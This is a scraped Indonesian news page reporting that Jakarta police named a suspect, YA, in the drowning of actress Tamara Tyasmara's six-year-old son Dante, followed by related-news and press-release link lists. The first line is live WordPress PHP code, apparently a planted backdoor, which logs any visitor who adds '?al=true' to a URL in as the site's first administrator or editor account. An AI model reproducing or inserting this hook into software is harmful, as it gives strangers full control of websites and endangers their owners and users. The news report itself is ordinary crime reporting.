// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Terakhir Selama 26 Detik, Kekasih Artis Tamara Tyasmara Tenggelamkan Dante 12 Kali hingga Meninggal - Hallonesia.com

Terakhir Selama 26 Detik, Kekasih Artis Tamara Tyasmara Tenggelamkan Dante 12 Kali hingga Meninggal

Avatar photo

- Pewarta

Selasa, 13 Februari 2024 - 07:33 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Artis Tamara Tyasmara. (Instagram.com/@tamaratyasmara)

Artis Tamara Tyasmara. (Instagram.com/@tamaratyasmara)

HALLONESIA.COM – Polda Metro Jaya menetapkan pria berinisial YA (33) sebagai tersangka kematian anak artis Tamara Tyasmara, Raden Andante Khalif Pramudityo alias Dante (6).

Peristiwa terjadi di di kolam renang kawasan Duren Sawit, Jakarta Timur, Sabtu (27/1/2024) lalu.

Tersangka YA menenggelamkan korban sebanyak 12 kali dengan modus operandi melihat situasi untuk memastikan tidak ada orang yang melihat saat kejadian.

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Demikian disampaikan oleh Dirreskrimum Polda Metro Jaya, Kombes Pol Wira Satya Triputra.

“Dengan durasi waktu yang bervariatif antara lain 14 detik, 24 detik, 4 detik, 2 detik, 26 detik, 4 detik, 21 detik, 7 detik, 17 detik, 8 detik, dan 26 detik.”

“Sedangkan yang terakhir adalah sebanyak 54 detik,” ungkap Wira dalam konferensi pers di Mapolda Metro Jaya, Senin (12/2/2024).

Baca artikel lainnya di sini : Polisi Tak Temukan Unsur Kelalaian Tamara Tyasmara dalam Kasus Kekasihnya Tenggelamkan Sang Anak

Lebih lanjut Wira menjelaskan, berdasarkan hasil pemeriksaan tersangka mengaku menenggelamkan korban yang juga anak kekasihnya itu untuk melatih pernapasan.

“Si tersangka ini beralasan melatih pernapasan dengan melakukan nyelem-nyeleman, itu bahasa di BAP (Berita Acara Pemeriksaan),” kata Wira.

Lihat juga konten video, di sini: Bersama Prabowo dan Ratusan Ribu Warga di Sidoarjo, Jawa Timur, Gus Miftah Pimpin Sholawat

Kendati demikian, Wira menambahkan perihal alasan yang disampaikan oleh tersangka itu nantinya akan di-compare atau dibandingkan dengan keterangan saksi-saksi maupun ahli.

“Ini akan kita compare nantinya dengan keterangan saksi maupun ahli, berdasarkan analisis dari pada rekaman video.”

“Yang nantinya akan kita tunjukkan kepada para saksi maupun kepada ahli untuk dilakukan analisis dan nanti disimpulkan oleh para ahli,” tutur Wira.

Atas perbuatannya, tersangka akan dikenakan dengan Pasal 76c juncto Pasal 80 Undang-undang Republik Indonesia Nomor 35 tahun 2014.

Tentang perubahan atas Undang-undang Nomor 23 Tahun 2002 tentang Perlindungan Anak dan atau Pasal 340 KUHP dan atau Pasal 338 KUHP dan atau Pasal 359 KUHP dengan ancaman pidana mati atau seumur hidup.***

Artikel di atas juga sudah dìterbitkan di portal berita nasional Bintangnews.com

Sempatkan juga untuk membaca artikel menarik lainnya, di portal berita Adilmakmur.co.id dan Helloseleb.com

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Kamis, 16 Juli 2026 - 02:37 WIB

Valvoline™ Global, “The Original Motor Oil”, Percepat Pertumbuhan di Asia Pasifik Lewat Kemitraan dengan Horse Powertrain

Rabu, 15 Juli 2026 - 16:41 WIB

NABR: Untuk Kedua Kalinya, Dinas Perikanan dan Satwa Liar A.S. Tolak Petisi Aktivis Untuk Mencantumkan Monyet Ekor Panjang Ke Dalam Undang-Undang Spesies Terancam Punah

Rabu, 15 Juli 2026 - 07:56 WIB

Sekolah-Sekolah Terkemuka di Asia Tenggara Bergabung sebagai Cambridge English Educational Partners untuk Menyiapkan Talenta Masa Depan

Rabu, 15 Juli 2026 - 04:30 WIB

Pakar Sejarah PKT: Gansu Berperan Penting dalam “Long March”

Rabu, 15 Juli 2026 - 04:00 WIB

XCMG Perluas Program Pendidikan Kejuruan di Pasar Global untuk Menyiapkan Talenta Masa Depan, Bertepatan dengan Hari Keterampilan Pemuda Sedunia

Selasa, 14 Juli 2026 - 12:49 WIB

“Now is Your Moment”: Huawei Hadirkan Berbagai Potensi Baru untuk Setiap Momen Lewat Inovasi yang Mencakup Seluruh Skenario

Selasa, 14 Juli 2026 - 09:38 WIB

Dewan Architects + Engineers Raih Dua Gelar sebagai Firma Arsitektur dan Desain Perhotelan Terbaik di Asia dalam Ajang AADA 2026

Selasa, 14 Juli 2026 - 06:43 WIB

September Ini, SIAL Guangzhou Soroti Tujuh Tren yang Menentukan Arah Industri Makanan dan Minuman Tiongkok

Berita Terbaru